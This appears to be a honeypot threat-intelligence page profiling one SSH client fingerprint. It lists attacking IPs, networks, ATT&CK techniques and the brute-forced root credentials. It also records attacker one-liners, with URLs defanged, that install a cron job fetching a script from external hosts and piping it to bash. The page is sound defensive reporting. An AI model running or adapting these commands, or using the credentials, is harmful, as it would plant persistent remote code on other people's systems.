HoneyLabs

HASSH SSH client fingerprint

f8c77b782d33442905e2c431c2ba312e

Seen 2026-08-22 to 2026-10-21 across the retained window.

The feed is a URL your firewall, MISP or SIEM polls; it needs a free account so it can be revoked. Or watch the top network: AS206067 sends an email when it next hits a sensor.

496

Source IPs

92

Networks

35

Countries

48

Ports hit

767.4K

Events

5

IPs / network

Top networks

AS206067 Three92 IPs6.0K
AS4134 Chinanet86 IPs109.3K

Countries

CN 269GB 94KR 25IE 19US 8RU 7ID 6IN 6VN 6ES 6

Ports targeted

Source IPCCNetwork Last seenEvents
103.36.32.186IDAS131111 PT Mora Telematika Indonesia2026-10-2125.5K
103.123.71.86IDAS131111 PT Mora Telematika Indonesia2026-10-2124.3K
112.25.55.11CNAS56046 China Mobile communications corporation2026-10-2117.6K
120.84.9.243CNAS17816 China Unicom IP network China169 Guangdong province2026-10-2112.7K
112.25.55.8CNAS56046 China Mobile communications corporation2026-10-2112.5K
87.191.183.236DEAS3320 Deutsche Telekom AG2026-10-2112.1K
91.26.99.202DEAS3320 Deutsche Telekom AG2026-10-2111.7K
93.14.117.117FRAS15557 Societe Francaise Du Radiotelephone - SFR SA2026-10-2011.1K
117.156.229.133CNAS9808 China Mobile Communications Group Co., Ltd.2026-10-198.5K
14.18.190.138CNAS4134 Chinanet2026-10-217.9K
36.255.232.118INAS134053 ETHERNET XPRESS PVT. LTD.2026-10-197.2K
123.138.73.98CNAS4837 CHINA UNICOM China169 Backbone2026-10-186.6K
121.6.146.111SGAS9506 Singtel Fibre Broadband2026-10-196.6K
223.104.42.207CNAS56048 China Mobile Communicaitons Corporation2026-10-216.5K
183.185.223.47CNAS4837 CHINA UNICOM China169 Backbone2026-10-216.5K
178.134.149.217GEAS35805 JSC Silknet2026-10-186.2K
223.171.77.115KRAS17853 LGTELECOM2026-10-196.2K
27.195.155.201CNAS4837 CHINA UNICOM China169 Backbone2026-10-186.1K
223.171.77.120KRAS17853 LGTELECOM2026-10-205.9K
124.152.53.142CNAS4837 CHINA UNICOM China169 Backbone2026-10-185.8K

Interaction

Sessions

Sessions in the last 30 days in which a sensor answered as a product and recorded what a client with this fingerprint did once inside. Logged in, ran commands, named a download and handed over files each count sessions. Reported beside the counts above and never added to them.

1.6K

Sessions

332

Source IPs

1.4K

Logged in

173

Ran commands

0

Named a download

54

Handed over files

Services

ssh:1 213ssh:10 143ssh:9 133ssh:5 133ssh:4 132ssh:2 130ssh:6 126ssh:3 126ssh:7 125ssh:29 25ssh:40 23ssh:28 22

ATT&CK techniques

3 techniques, 3 tactics

What the sessions did in MITRE ATT&CK terms. The sensors map each session from its verdict, its labels and what it named, so one session can show several techniques. The count is sessions.

TechniqueTacticSessions
T1078 Valid AccountsInitial Access1.4K
T1059.004 Command and Scripting Interpreter: Unix ShellExecution54
T1110 Brute ForceCredential Access1.4K

Logins tried

10 pairs sent in cleartext, most tried first
UsernamePasswordServiceTries
rootTheArmorOfGodssh-password1.2K
root!@#$1234ssh-password68
rootdfDFdc@#c23@@@ssh-password22
rootP@55wordssh-password19
root1111ssh-password13
ouya77123456ssh-password9
student40111111ssh-password9
peihongbinpeihongbin123ssh-password6
liqiangliqiang97ssh-password6
helang123ssh-password2

Commands run

4 commands, most run first

As typed. URLs and addresses are shown in Safe-IOC form so nothing here can be opened by accident.

CommandSessions
echo "MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo "* * * * * (curl -fsSL [http]://scanbot[.]me/?gvc 2>/dev/null || wget -qO- [http]://scanbot[.]me/?gvc 2>/dev/null) | bash") | crontab - 2>/dev/null)"161
echo "MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo "* * * * * (curl -fsSL [http]://107[.]189[.]4[.]134/?gvc 2>/dev/null || wget -qO- [http]://107[.]189[.]4[.]134/?gvc 2>/dev/null) | bash") | crontab - 2>/dev/null)"9
echo "MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo "* * * * * (curl -fsSL [http]://cc[.]systemctl[.]cc/?gvc 2>/dev/null || wget -qO- [http]://cc[.]systemctl[.]cc/?gvc 2>/dev/null) | bash") | crontab - 2>/dev/null)"2
echo "MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/*/device/serial 2>/dev/null | grep -Ev '^00:00:00:00:00:00$|^$' | sort -u | sha256sum | cut -c1-10) PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null | grep -v gvc 2>/dev/null; echo "* * * * * (curl -fsSL [http]://pw[.]pwndns[.]pw/?gvc 2>/dev/null || wget -qO- [http]://pw[.]pwndns[.]pw/?gvc 2>/dev/null) | bash") | crontab - 2>/dev/null)"1

Source IPs in these sessions

most sessions first
Source IPCCNetworkLast seenSessions
1.28.220.246CNAS4837 CHINA UNICOM China169 Backbone2026-10-2051
183.230.131.92CNAS9808 China Mobile Communications Group Co., Ltd.2026-10-1943
27.195.155.201CNAS4837 CHINA UNICOM China169 Backbone2026-10-1842
103.123.71.86IDAS131111 PT Mora Telematika Indonesia2026-10-2139
183.185.223.47CNAS4837 CHINA UNICOM China169 Backbone2026-10-2136
61.171.240.178CNAS4812 China Telecom (Group)2026-10-2035
103.36.32.186IDAS131111 PT Mora Telematika Indonesia2026-10-2130
61.171.203.96CNAS4812 China Telecom (Group)2026-10-2028
123.138.73.98CNAS4837 CHINA UNICOM China169 Backbone2026-10-1925
223.68.5.226CNAS56046 China Mobile communications corporation2026-10-2123

About this fingerprint

HASSH is an MD5 over the ordered algorithm lists an SSH client offers during key exchange, before any authentication. It identifies the SSH implementation and version behind a connection at the handshake.